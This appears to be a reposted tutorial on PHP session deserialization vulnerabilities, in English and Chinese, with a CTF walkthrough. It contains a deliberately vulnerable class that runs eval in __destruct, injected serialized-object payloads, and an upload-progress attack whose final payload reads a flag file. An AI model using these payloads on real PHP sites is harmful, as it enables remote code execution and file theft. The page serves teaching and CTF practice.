Home > Backend Development > PHP Tutorial > Detailed introduction to PHP's session deserialization vulnerability

Detailed introduction to PHP's session deserialization vulnerability

WBOY
Release: 2023-04-11 06:04:01
forward
5925 people have browsed it

This article brings you relevant knowledge about PHP, which mainly introduces the issues related to session deserialization vulnerabilities, that is, serializing and storing Session data and deserializing and reading Session Different data methods lead to Session deserialization vulnerabilities. I hope it will be helpful to everyone.

"Detailed

Recommended study: "PHP Video Tutorial"

PHP session deserialization vulnerability

PHP sessionDeserialization vulnerability is caused by the difference between [serialized storage of Session data] and [deserialized reading of Session data]sessionGeneration of deserialization vulnerability

What is session

OfficialSessionDefinition: In computers, especially in network applications, it is called " Session Control". Session The object stores the properties and configuration information required for a specific user session. The main features are as follows:

  • sessionThe saved location is on the server side
  • sessionusually needs to be matched with cookieUse

Because of the stateless nature of HTTP, the server generates session to identify the current user status

Essentially, session is a data storage technology that can maintain the server side. That is, **session technology is a technology that temporarily stores data based on the backend that is different from the database**

PHP session workflow

Take PHP as an example, Understand the principle of session

  1. When the PHP script uses session_start() to open the session session, it will automatically detect PHPSESSID
    • If Cookie exists, get PHPSESSID
    • If Cookie does not exist, create a PHPSESSID, and save it to the browser in the form of Cookie through the response header
  2. Initialize the super global variable $_SESSION to an empty array
  3. PHP uses PHPSESSID to specify the location (PHPSESSIDfile storage location) to match the corresponding file
    • The file exists: read the file content (through deserialization mode), store the data in $_SESSION
    • The file does not exist: session_start() creates a PHPSESSIDnamed file
  4. After the program is executed, all the data saved in $_SESSION will be serialized and stored in the file corresponding to PHPSESSID

Specific schematic diagram:

""

php.ini session configuration

php.iniThere are more important sessionconfiguration items

session.save_path="/tmp"      --设置session文件的存储位置
session.save_handler=files    --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start= 0          --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler= php --定义用来序列化/反序列化的处理器名字,默认使用php  
session.upload_progress.enabled= On --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup= oN --读取所有POST数据(即完成上传)后立即清理进度信息,默认启用
Copy after login

PHP session serialization mechanism

According to the configuration items in php.ini, we study the serialization of all data saved in $_SESSION Stored in the file corresponding to PHPSESSID, three different processing formats are used, namely the three engines defined by session.serialize_handler:

Processor Corresponding storage format
php Key name + vertical bar + after serialize( ) The value processed by the function deserialization
php_binary The ASCII character corresponding to the length of the key name + key name + the value processed by the serialize() function deserialization
php_serialize (php>=5.5.4) Array deserialized by serialize() function

PHP processor

First let’s take a look at the serialization result when the default session.serialize_handler = php, the code is as follows

<?php//ini_set(&#39;session.serialize_handler&#39;,&#39;php&#39;);session_start();$_SESSION[&#39;name&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;name&#39;];?>
Copy after login

""

For For easy viewing, set the session storage directory to session.save_path = "/www/php_session", and the PHPSESSID file is as follows

""

1. File name

The file name is sess_mpnnbont606f50eb178na451od, where mpnnbont606f50eb178na451od is the # carried by Cookie in subsequent request headers The value of ##PHPSESSID (as shown in the above picture has been stored in the browser)

2. File content

php processor storage format

Key nameVertical barThe value deserialized by the serialize() function##$_SESSION[ 'name'] key name: name

php_binary处理器

使用php_binary处理器,即session.serialize_handler = php_binary

<?phpini_set(&#39;session.serialize_handler&#39;,&#39;php_binary&#39;);session_start();# 为了方便ACSII显示,将键名设置为36个字符长度$_SESSION[&#39;namenamenamenamenamenamenamenamename&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;namenamenamenamenamenamenamenamename&#39;];?>
Copy after login

由于三种方式PHPSESSID文件名都是一样的,这里只需要查看文件内容

""

| s:6:"harden";
键名的长度对应的 ASCII 字符 键名 经过 serialize() 函数反序列处理的值.
$ namenamenamenamenamenamenamenamename s:6:“harden”;

php_serialize 处理器

使用php_binary处理器,即session.serialize_handler = php_serialize

<?phpini_set(&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);session_start();$_SESSION[&#39;name&#39;] = $_GET[&#39;name&#39;];echo $_SESSION[&#39;name&#39;];?>
Copy after login

文件内容即经过 serialize() 函数反序列处理的数组,a:1:{s:4:"name";s:6:"harden";}

""

session的反序列化漏洞利用

session的反序列化漏洞,就是利用php处理器和php_serialize处理器的存储格式差异而产生,通过具体的代码我们来看下漏洞出现的原因

漏洞成因

首先创建session.php,使用php_serialize处理器来存储session数据

<?phpini_set(&#39;session.serialize_handler&#39;,&#39;php_serialize&#39;);session_start();$_SESSION[&#39;session&#39;] = $_GET[&#39;session&#39;];echo $_SESSION[&#39;session&#39;];?>
Copy after login

test.php,使用默认php处理器来存储session数据

<?phpsession_start();class f4ke{
    public $name;
    function __wakeup(){
      echo "Who are you?";
    }
    function __destruct(){
      eval($this->name);
    }}$str = new f4ke();?>
Copy after login

接着,我们构建URL进行访问session.php

http://www.session-serialize.com/session.php?session=|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
Copy after login

""

打开PHPSESSID文件可看到序列化存储的内容

a:1:{s:7:"session";s:45:"|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}
Copy after login

""

漏洞分析:

session.php程序执行,我们将|O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}通过php_serialize处理器序列化保存成PHPSESSID文件;

由于浏览器中保存的PHPSESSID文件名不变,当我们访问test.phpsession_start();找到PHPSESSID文件并使用php处理器反序列化文件内容,识别格式即

键名 竖线 经过 serialize() 函数反序列处理的值
a:1:{s:7:“session”;s:45:" | O:4:“f4ke”:1:{s:4:“name”;s:10:“phpinfo();”;}

php处理器会以|作为分隔符,将O:4:"f4ke":1:{s:4:"name";s:10:"phpinfo();";}反序列化,就会触发__wakeup()方法,最后对象销毁执行__destruct()方法中的eval()函数,相当于执行如下:

$_SESSION['session'] = new f4ke();$_SESSION['session']->name = 'phpinfo();';
Copy after login

我们访问test.php,即可直接执行phpinfo()函数

""

CTF例题:PHPINFO

<?php//A webshell is wait for youini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);session_start();class OowoO{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }}if(isset($_GET['phpinfo'])){
    $m = new OowoO();}else{
    highlight_string(file_get_contents('index.php'));}?>
Copy after login

我们可以看到ini_set('session.serialize_handler', 'php'),判断可能存在session反序列化漏洞,根据代码逻辑,访问URL加上phpinfo参数新建对象触发魔术方法执行phpinfo()函数,进一步查看session.serialize_handler配置

""

可见php.inisession.serialize_handler = php_serialize,当前目录中被设置为session.serialize_handler = php,因此存在session反序列化利用的条件

补充知识

phpinfo文件中

local value(局部变量:作用于当前目录程序,会覆盖master value内容):php
master value(主变量:php.ini里面的内容):php_serialize
Copy after login

那么我们如何找到代码入口将利用代码写入到session文件?想要写入session文件就得想办法在$_SESSION变量中增加我们可控的输入点

补充知识

当检测Session 上传进度这一特性是开启状态,我们可以在客户端写一个文件上传的功能,文件上传的同时,POST一个与php.ini中设置的session.upload_progress.name同名变量PHP_SESSION_UPLOAD_PROGRESS,如下图,即可写入$_SESSION,进一步序列化写入session文件

""

下面是官方给出的一个文件上传时监测进度例子:

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" /> <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" /></form>
Copy after login

其中name=""也可以设置为name="PHP_SESSION_UPLOAD_PROGRESS"

在session中存储的上传进度,如下所示:

<?php$_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time  请求时间
 "content_length" => 57343257, // POST content length 长度
 "bytes_processed" => 453489,  // Amount of bytes received and processed 已接收字节
 "done" => false,              // true when the POST handler has finished, successfully or not 是否上传完成
 "files" => array(//上传的文件
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field  input中设定的变量名
   // The following 3 elements equals those in $_FILES             
   "name" => "foo.avi",           //文件名
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Amount of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 ));
Copy after login

其中,session中的field_namename都是我们可控的输入点!

下面我们就开始解题拿到flag

首先,http://web.jarvisoj.com:32784/index.php?phpinfo查询设置

""

session.upload_progress.enabled = On   --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup = Off  --表明所有POST数据(即完成上传)后,不清理进度信息($ _SESSION变量)
Copy after login

即允许上传进度跟踪且结束后不清除数据,更有利使用session.upload_progress.name来将利用代码写入session文件

构造POST表单提交上传文件

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
 <input type="file" name="file" />
 <input type="submit" /></form>
Copy after login

构造序列化字符串作为payload(利用代码)

<?phpclass OowoO{
    public $mdzz=&#39;print_r(scandir(dirname(__FILE__)));&#39;;}$obj = new OowoO();echo serialize($obj);?>//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
Copy after login

为了防止"被转义,我们在payload中加入\

随意选择文件,点击表单提交,使用抓包工具burpsuite抓取请求包

""

并修改filename值为

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
Copy after login

发送请求包,代码执行过程分析:

""

因此直接执行print_r(scandir(dirname(__FILE__)));并返回

""

phpinfo查看当前目录,/opt/lampp/htdocs/

""

构造最终payload读取Here_1s_7he_fl4g_buT_You_Cannot_see.php文件内容,即flag

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
Copy after login

""

推荐学习:《PHP视频教程

The above is the detailed content of Detailed introduction to PHP's session deserialization vulnerability. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
php
source:csdn.net
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template